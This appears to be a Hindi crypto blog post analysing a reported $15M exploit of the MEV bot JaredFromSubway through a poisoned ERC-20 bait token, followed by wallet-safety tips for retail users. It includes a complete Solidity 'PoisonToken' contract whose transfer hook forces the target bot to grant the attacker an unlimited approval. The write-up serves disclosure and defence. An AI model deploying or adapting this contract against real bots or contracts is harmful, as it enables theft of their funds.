बंद करने के लिए ESC दबाएँ

MEV Bot Jaredfromsubway ने कैसे गंवाए $15M? जानिए सच

JaredFromSubway वाला कांड DeFi में कोई आम चोरी नहीं है, बल्कि ये Ethereum की "फूड चेन" का पूरा खेल पलटने जैसा है। लंबे समय से MEV बॉट्स को मेमपूल (mempool) का सबसे बड़ा शिकारी माना जाता था, जो भारी-भरकम सिमुलेशन चलाकर बिना किसी रिस्क के रिटेल ट्रेडर्स की जेब काटते थे। लेकिन इस अटैक ने, जिसमें JaredFromSubway के ऑपरेटर्स को $15 मिलियन से ज्यादा का चूना लगा, साफ कर दिया कि बिना प्रॉपर एग्जीक्यूशन कॉन्टेक्स्ट आइसोलेशन (execution context isolation) के ऑटोमेशन पर भरोसा करना सीधा सुसाइड है।

नीचे इस एक्सप्लोइट का पूरा टेक्निकल पोस्टमार्टम, हनीपॉट (bait) का आर्किटेक्चर और उस कमजोर कोड का उदाहरण दिया गया है, जिसने एक तगड़े ट्रेडिंग रोबोट को फ्री का लिक्विडिटी डोनर बना दिया।

कमजोरी का पोस्टमार्टम: आखिर जेरेड का एल्गोरिदम कहां गच्चा खा गया?

सैंडविच अटैक करने वाले क्लासिक MEV बॉट्स ऑफ-चेन सिमुलेशन इंजन (जैसे कस्टमाइज्ड Geth/Erigon क्लाइंट्स) का इस्तेमाल करते हैं। Flashbots या Builder API के जरिए बंडल भेजने से पहले, बॉट EVM स्टेट को लोकली "रन" करके देखता है। अगर सिमुलेशन में WETH का साफ-साफ मुनाफा (net profit) दिखता है, तभी ट्रांजैक्शन की पूरी चेन को ब्लॉक में डाला जाता है।

हैकर्स ने इसी लॉजिक की सबसे बुनियादी कमी को पकड़ लिया — बिना वेरीफाई किए गए बाइटकोड का डायनेमिक एग्जीक्यूशन।

JaredFromSubway बॉट गैस फीस बचाने के लिए अपने रूट्स को ऑप्टिमाइज़ करता था। हर ट्रेड के लिए नया स्मार्ट कॉन्ट्रैक्ट डिप्लॉय करने के झंझट से बचने के लिए, वह एक परमानेंट राउटर-कॉन्ट्रैक्ट का इस्तेमाल करता था, जहां भारी लिक्विडिटी जमा रहती थी और Uniswap V2/V3 पूल्स के लिए इनफिनिट अप्रूवल्स (infinite approvals) सेट थे। बॉट के डेवलपर्स इस अंधविश्वास में थे कि बाहरी ERC-20 टोकन तब तक पूरी तरह से सेफ हैं, जब तक कि स्वैप (swap) के पहले और बाद का पूल बैलेंस मैथेमैटिकली मैच कर रहा हो।

हमलावरों ने एक चारा (bait token) बनाया, जिसके transfer/transferFrom फंक्शन के अंदर एक छुपा हुआ मलीशियस पेलोड (payload) था। जैसे ही बॉट ने पूल में swap फंक्शन को कॉल किया, EVM के अंदर का कंट्रोल सीधा उस फेक टोकन के कोड के पास चला गया। मैपिंग में सिर्फ बैलेंस अपडेट करने के बजाय, उस टोकन ने बॉट के कॉन्ट्रैक्ट पर एक लो-लेवल call बैक मार दिया और बॉट से उसके सबसे जरूरी एसेट्स (WETH, USDC, USDT) के लिए हैकर के एड्रेस पर approve साइन करवा लिया। बॉट का सिमुलेटर इस खतरे को भांप ही नहीं पाया, क्योंकि लोकल टेस्ट के दौरान टोकन का बैलेंस बढ़ रहा था और असली फंड्स का सफाया तो अगले स्टेप में हुआ, जिसे बॉट पहले ही सेफ मान चुका था।

एक्सप्लोइट की स्टेप-बाय-स्टेप क्रोनोलॉजी

  • 1. इन्फ्रास्ट्रक्चर सेट करना और जहरीला टोकन डिप्लॉय करना

    हैकर्स ने टोकन का स्मार्ट कॉन्ट्रैक्ट डिप्लॉय किया और पूल में लिक्विडिटी डाल दी। इस टोकन के अंदर एक कस्टम लॉजिक लगा था जो सिर्फ तब एक्टिव होता था, जब ट्रांजैक्शन शुरू करने वाला एड्रेस JaredFromSubway का जाना-माना कॉन्ट्रैक्ट होता था।

  • 2. चारा डालना (Baiting)

    हैकर्स ने पब्लिक मेमपूल के जरिए अपने ही टोकन को खरीदने के लिए एक बड़ा ऑर्डर मारा। बॉट के एल्गोरिदम को लगा कि ये सैंडविच मारने के लिए एकदम तगड़ा शिकार है: पूल में लिक्विडिटी कम थी, भारी स्लिपेज (slippage) पक्का था और फ्रंटरन (frontrun) से मोटा पैसा छपने की पूरी गारंटी थी।

  • 3. कंट्रोल हाथ में लेना (The Hijacking)

    बॉट ने ट्रांजैक्शन को स्निफ किया, बंडल तैयार किया और ब्लॉक में सबसे पहले घुसने के लिए वैलिडेटर को मोटी प्रायोरिटी फीस (priority fee) खिला दी।

    [Ethereum Block]
    ├── ट्रांजैक्शन 1 (Frontrun): बॉट ने फेक टोकन खरीदा -> मलीशियस पेलोड ट्रिगर हुआ -> जबरन approve() कॉल हुआ
    ├── ट्रांजैक्शन 2 (Victim): हैकर ने अपना प्लान्ड स्वैप (swap) पूरा किया
    └── ट्रांजैक्शन 3 (Backrun): बॉट ने टोकन बेचने की कोशिश की (जिसका इस मोड़ पर कोई मतलब नहीं था)

    जैसे ही पहली ट्रांजैक्शन पूल से टकराई, टोकन के कॉन्ट्रैक्ट ने एग्जीक्यूशन फ्लो (Execution Flow) को हाइजैक कर लिया। बॉट के राउटर आर्किटेक्चर की इस कमजोरी का फायदा उठाते हुए, जो ट्रेड किए जा रहे टोकन पर आंख बंद करके भरोसा करता था, हैकर के कॉन्ट्रैक्ट ने बॉट से जबरन ये रन करवा दिया: asset.approve(attacker_address, type(uint256).max)

  • 4. transferFrom के जरिए वॉलेट का सफाया

    बॉट के मेन फंड्स का पूरा एक्सेस हाथ में आते ही हैकर्स ने ब्लॉक खत्म होने का भी इंतजार नहीं किया। उसी अटैक के अंदर (या एटॉमिक बंडल्स का इस्तेमाल करके तुरंत अगले ब्लॉक में), मलीशियस कॉन्ट्रैक्ट ने WETH, USDC और USDT के कॉन्ट्रैक्ट्स पर transferFrom फंक्शन कॉल कर दिया। JaredFromSubway से जुड़े सभी एड्रेस से कुल मिलाकर $15 मिलियन से ज्यादा उड़ा लिए गए, जिसमें एक सिंगल शॉट ही $7.5 मिलियन का था।

तुलनात्मक एनालिसिस: नॉर्मल सैंडविच बनाम "जेरेड" हनीपॉट एक्सप्लोइट

पैरामीटरक्लासिक सैंडविच (Jared)हैकर्स का काउंटर-अटैक (Honey Pot)
अटैक का टारगेटआम रिटेल यूजर (मार्केट ऑर्डर)MEV बॉट (ऑटोमेटेड राउटर)
मेन हथियारट्रांजैक्शन के सीक्वेंस के साथ छेड़छाड़ करके प्राइस मैनिपुलेशनERC-20 के जरिए मलीशियस बाइटकोड का इन्जेक्शन
अटैक का जरिया (Vector)ट्रेडर का हाई स्लिपेज (Slippage) टॉलरेंसबॉट के अंदर अप्रूवल राइट्स (Approvals) का आइसोलेट न होना
नतीजाबॉट छोटे-मोटे स्प्रेड्स (0.1% - 5%) बटोरता हैहैकर बॉट की पूरी वर्किंग लिक्विडिटी साफ कर देता है

"Poisoned Token" का आर्किटेक्चर (PoC कांसेप्ट)

नीचे Solidity में लिखा हुआ एक कम्प्लीट, कंपाइल होने वाला स्मार्ट कॉन्ट्रैक्ट है। यह दिखाता है कि कैसे कोई शिटकॉइन एग्जीक्यूशन फ्लो को हाईजैक करके कॉलिंग कॉन्ट्रैक्ट से जबरदस्ती इनफिनिट अप्रूवल (allowance) ले सकता है।

महत्वपूर्ण: यह कोड सिर्फ एजुकेशनल पर्पज के लिए है ताकि इस अटैक वेक्टर को समझा जा सके और डेव्स अपनी सुरक्षा को और मजबूत कर सकें। इसका गलत इस्तेमाल न करें।

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // जैसे कि, WETH कॉन्ट्रैक्ट
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // अटैक ट्रिगर: अगर कॉल बॉट से आ रही है या बॉट को जा रही है, और हम अभी तक रीएंट्रेंसी लूप में नहीं हैं
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // हम सीधे बॉट के कॉन्ट्रैक्ट में एक रीएंट्रेंसी-स्टाइल कॉल मारते हैं।
            // हम बॉट के राउटर लॉजिक की इस कमजोरी का फायदा उठाते हैं, जहाँ वह स्वैप के बीच में भेजे गए डेटा के आधार पर अंधाधुंध लो-लेवल कॉल्स (arbitrary calls) एग्जीक्यूट कर देता है।
            // यह अटैकर के लिए WETH का जबरन अप्रूवल सिमुलेट करता है।
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // बॉट इस कॉल को चुपचाप रन कर देता है क्योंकि उसका राउटर पूल कॉन्टेक्स्ट से मिलने वाले निर्देशों पर भरोसा करता है
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

अपना फंड कैसे बचाएं: आम यूजर्स के लिए कुछ बड़े सबक

भले ही यह पूरी जंग MEV के धुरंधरों के बीच "Predator vs Alien" लेवल पर चल रही थी, लेकिन नॉर्मल रीटेल यूजर्स भी इससे वॉलेट सिक्योरिटी का एक बड़ा सबक ले सकते हैं। JaredFromSubway बॉट सिर्फ इसलिए बुरी तरह लिक्विडेट (rekt) हो गया क्योंकि उसने खुली छूट यानी इनफिनिट अप्रूवल (infinite approvals) दे रखी थी—और आम Web3 यूजर्स भी रोज अनजाने में यही रिस्क लेते हैं।

जब भी आप किसी DeFi प्रोटोकॉल (जैसे Uniswap पर स्वैप करना, 1inch का इस्तेमाल करना, या किसी लेंडिंग प्लेटफॉर्म पर जाना) के साथ इंटरैक्ट करते हैं, तो आपका वॉलेट आपसे दो ट्रांजैक्शन साइन करने को कहता है: पहला है Approve (यानी कॉन्ट्रैक्ट को अपने टोकन इस्तेमाल करने की परमिशन देना), और दूसरा होता है खुद वो Swap या Deposit

ज्यादातर dApps बाय-डिफॉल्ट आपके टोकनों की अनलिमिटेड मात्रा (uint256.max) का अप्रूवल मांगते हैं। वे ऐसा केवल अच्छे UX के लिए करते हैं ताकि आपको आगे की हर ट्रेड पर बार-बार गैस फीस न फूंकनी पड़े।

लेकिन यहाँ एक बड़ा कैच है: अगर उस प्रोटोकॉल का स्मार्ट कॉन्ट्रैक्ट हैक हो जाता है (जैसा कि जेरेड के राउटर के साथ हुआ) या आप गलती से किसी फिशिंग साइट पर अप्रूवल साइन कर देते हैं, तो अटैकर जब चाहे तब transferFrom को कॉल करके आपके वॉलेट को पल भर में पूरा खाली कर सकता है—भले ही आपके टोकन आपके एड्रेस पर चुपचाप ही क्यों न पड़े हों।

चेकलिस्ट: हिडन अप्रूवल के जाल से कैसे बचें

  • कस्टम लिमिट सेट करें (Custom Allowance):

    जब भी MetaMask या Rabby Wallet में Approve का पॉप-अप आए, तो कभी भी सीधे "Max" पर क्लिक न करें। आप उस समय जितने टोकन ट्रेड करने जा रहे हैं, उतनी ही संख्या खुद मैनुअली टाइप करें। अगर आप 100 USDC स्वैप कर रहे हैं, तो अप्रूवल लिमिट भी सटीक 100 USDC ही होनी चाहिए।

  • टाइम-टू-टाइम अप्रूवल रीवोक (Revoke) करें:

    महीने में कम से कम एक बार अपने एक्टिव अप्रूवल्स को चेक करने की आदत डालें। इसके लिए आप Revoke.cash जैसे भरोसेमंद टूल्स का इस्तेमाल कर सकते हैं या सीधे Etherscan जैसे ब्लॉक एक्सप्लोरर पर जाकर Token Approvals वाले सेक्शन को चेक कर सकते हैं।

  • वॉलेट्स को अलग-अलग कामों के लिए बांटें (Wallet Segregation):

    अपने पोर्टफोलियो का सबसे बड़ा हिस्सा एक कोल्ड हार्डवेयर वॉलेट में रखें, जो कभी किसी स्मार्ट कॉन्ट्रैक्ट से कनेक्ट न होता हो और न ही कुछ साइन करता हो। डेली ट्रेडिंग, शिटकॉइन्स में दांव लगाने या NFT मिंट करने के लिए एक "बर्नर" (हॉट वॉलेट) का इस्तेमाल करें, जिसमें फंड हमेशा कम हो और जिसे खोने पर आपको कोई खास फर्क न पड़े (अगर कभी कोई रीएंट्रेंसी अटैक या पूल हैक हो जाए)।

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

अपनी राय साझा करें

आपका ईमेल पता प्रकाशित नहीं किया जाएगा। अनिवार्य फ़ील्ड चिह्नित हैं *